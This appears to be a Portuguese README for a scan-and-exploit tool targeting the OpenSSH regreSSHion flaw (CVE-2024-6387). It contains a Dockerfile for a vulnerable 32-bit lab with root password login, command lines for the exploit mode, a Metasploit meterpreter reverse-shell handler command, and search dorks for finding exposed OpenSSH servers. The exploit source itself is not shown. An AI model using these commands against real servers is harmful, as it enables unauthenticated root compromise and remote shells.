
# Scaneia e explora CVE-2024-6387 (regreSSHion) em servidores OpenSSH. Inclui varredura multithread, recuperação de banner, detecção de tempo de graça e modo de exploração com payload de shell reverso.
Esta é essencialmente uma vulnerabilidade estatística: um grande número de tentativas é necessário para vencer a condição de corrida e executar código arbitrário com sucesso. Os atacantes precisam superar muitos obstáculos, disse Schwartz à SecurityWeek. "Mesmo no melhor cenário, a vulnerabilidade mais conhecida leva mais de 4 horas para ser explorada."
Nas notas de lançamento do OpenSSH 9.8, os desenvolvedores observaram que a vulnerabilidade só foi confirmada em sistemas Linux de 32 bits baseados em glibc, e o OpenBSD não é afetado.
O ambiente é configurado usando Docker.
# 1.1. Escrevendo o Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCO exploit funciona SOMENTE para servidores OpenSSH de 32 bits. Isso se deve ao fato de o PoC usar ponteiros de 32 bits! Também é sabido que algumas versões já foram corrigidas, e nem todo servidor é vulnerável. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidade de Execução Remota de Código Não Autenticada no servidor OpenSSH
CVE-2024-6387.py é uma ferramenta leve e eficiente projetada para identificar servidores que executam versões vulneráveis do OpenSSH, visando especificamente a vulnerabilidade regreSSHion recentemente descoberta (CVE-2024-6387). Este script facilita a varredura rápida de múltiplos endereços IP, nomes de domínio e faixas de rede CIDR para detectar vulnerabilidades potenciais e garantir que sua infraestrutura esteja segura.
Uma condição de corrida no manipulador de sinais foi encontrada no servidor OpenSSH (sshd), onde um cliente não se autentica dentro de LoginGraceTime segundos (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado de forma assíncrona. No entanto, esse manipulador de sinais chama várias funções que não são seguras para sinais assíncronos, por exemplo, syslog().
Você pode encontrar os detalhes técnicos aqui.
A falha, descoberta por pesquisadores da Qualys em maio de 2024, e atribuída ao identificador CVE-2024-6387, é devida a uma condição de corrida no manipulador de sinais do sshd que permite que atacantes remotos não autenticados executem código arbitrário como root.
"Se um cliente não se autenticar dentro de LoginGraceTime segundos (120 por padrão), então o manipulador SIGALRM do sshd é chamado de forma assíncrona e chama várias funções que não são seguras para sinais assíncronos,"
"Um atacante remoto não autenticado pode tirar vantagem dessa falha para executar código arbitrário com privilégios de root."
Requisito: python3 mais recente
### Argumentos de Linha de Comando
mode: Seleciona o modo de operação. As opções são scan ou exploit.
-T, --targets: Endereços IP, nomes de domínio, caminhos de arquivos contendo endereços IP ou faixas de rede CIDR.
-f, --outputfile: Arquivo para salvar os resultados (ex.: result.json).
-g, --gracetimecheck: Tempo em segundos para aguardar após identificar a versão para verificar a mitigação do LoginGraceTime (padrão: 120 segundos).
-n, --nic: NIC de rede (padrão: 'eth0').
-o, --output: Formato de saída para os resultados (opções: 'csv', 'txt', 'json').
-p, --port: Número da porta para verificar ou explorar (padrão: 22).
-s, --speed: Número de threads para aumentar as chances da condição de corrida (padrão: 10).
-t, --timeout: Tempo limite de conexão em segundos (padrão: 1 segundo).
-H, --resolve-hostnames: Resolver nomes de host
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tudo o que você precisa fazer é executar o comando abaixo primeiro (altere o manipulador {yourip}) e executar o exploit depois com o comando acima
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
A ferramenta fornece saída codificada por cores no console para melhor legibilidade:
Verde: Conexão ou operação bem-sucedida. Vermelho: Conexão falha ou erro. Amarelo: Avisos ou informações dignas de nota. Ciano: Informações gerais ou atualizações de status.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access